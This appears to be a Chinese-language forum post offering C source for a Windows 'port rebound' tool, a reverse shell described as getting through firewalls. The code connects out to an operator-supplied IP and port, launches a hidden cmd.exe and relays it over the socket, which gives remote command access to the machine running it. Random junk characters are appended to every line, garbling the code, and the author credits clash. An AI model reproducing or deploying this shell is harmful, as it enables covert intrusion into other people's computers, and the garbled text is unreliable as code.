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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iB%gPoDCL@  
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/* ============================== ToXki,  
Rebound port in Windows NT MbZJ;,e?  
By wind,2006/7 V@ cM|(  
===============================*/ #t: S.A@  
#include XBb~\p3y  
#include HUv/ ~^<  
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#pragma comment(lib,"wsock32.lib") }%'?p<^M  
hRrn$BdLX  
void OutputShell(); XINu=N(g  
SOCKET sClient; ZjQ |Wx  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s'E2P[:  
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void main(int argc,char **argv) :UF%K>k2  
{ lyy W  
WSADATA stWsaData; ^Eb.:}!D6  
int nRet; $o0 iLFIX/  
SOCKADDR_IN stSaiClient,stSaiServer; J;{N72  
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if(argc != 3) :y%/u%L  
{ ER5gmmVP@p  
printf("Useage:\n\rRebound DestIP DestPort\n"); !Wy6/F@Z  
return; |:xYE{*)H  
} $JJrSwR<h  
OwH81#   
WSAStartup(MAKEWORD(2,2),&stWsaData); t<z`N-5*  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r&R B9S@*h  
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stSaiClient.sin_family = AF_INET; +;N2p1ZBf  
stSaiClient.sin_port = htons(0); %)|9E>fP]N  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b F"G[pD  
Crho=RJPR  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %|g>%D3Z?  
{ TDFkxB>  
printf("Bind Socket Failed!\n"); #h8Sq~0  
return; zF8dKFE~  
} )z73-M V"  
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stSaiServer.sin_family = AF_INET; g X ]-\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vq^f}id  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +eyc`J  
s:/8[(A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0=* 8  
{  \N!AXD  
printf("Connect Error!"); U(Nu%  
return; K9$>Yxe|  
} fPn>v)lN{  
OutputShell(); #sPHdz'3M  
} %r%Mlj:#  
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void OutputShell() w+#C-&z  
{  86 W9rR  
char szBuff[1024]; 6:Ch^c+IZ  
SECURITY_ATTRIBUTES stSecurityAttributes; aY'C%^h]  
OSVERSIONINFO stOsversionInfo; ]iN'x?Fo  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #{?PbBE}  
STARTUPINFO stStartupInfo; P9^-6;'Y  
char *szShell; trPAYa}W  
PROCESS_INFORMATION stProcessInformation; uxtWybv  
unsigned long lBytesRead; 7n8~K3~;  
wRcAX%n&  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); CFzNwgv]z  
b J=Jg~&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }!"A!~&  
stSecurityAttributes.lpSecurityDescriptor = 0; Szq/hv=Q  
stSecurityAttributes.bInheritHandle = TRUE; v 1z  
\`oT#|0  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /y _O 4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %{AO+u2i  
,0*&OXt  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); t2F _uCr  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k2c}3 MeP  
stStartupInfo.wShowWindow = SW_HIDE; 6x h:/j3  
stStartupInfo.hStdInput = hReadPipe; Sp@^XmX(S  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <tF9V Jq  
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GetVersionEx(&stOsversionInfo); 96 q_ K84K  
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switch(stOsversionInfo.dwPlatformId) 0 fF(Z0R,  
{ .y_/Uwu  
case 1: R:e<W/P"  
szShell = "command.com"; hd>aZ"nm1  
break; q qpgy7  
default: PD&\LbuG  
szShell = "cmd.exe"; u<3HQ.:;  
break; (qqOjz   
} vwjPmOjhS  
rai3<_W<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ROg(U8 N  
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send(sClient,szMsg,77,0); ?u/@PR\D  
while(1) pP*zq"o  
{ C\/xl#e<@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o.w\l\  
if(lBytesRead) A?CcHw rT  
{ <j&DK2u=i  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p2n0Z\2  
send(sClient,szBuff,lBytesRead,0); P_?gq>E8  
} ';TT4$(m  
else b8V~S'6VqO  
{ C ~<'rO}|  
lBytesRead=recv(sClient,szBuff,1024,0); c(:f\Wc3Z  
if(lBytesRead<=0) break; U*( izD  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &u /Nf&A  
} U]^HjfX\  
} *AoR==:ya  
O4r0R1VQM  
return; SH_(rQby  
}
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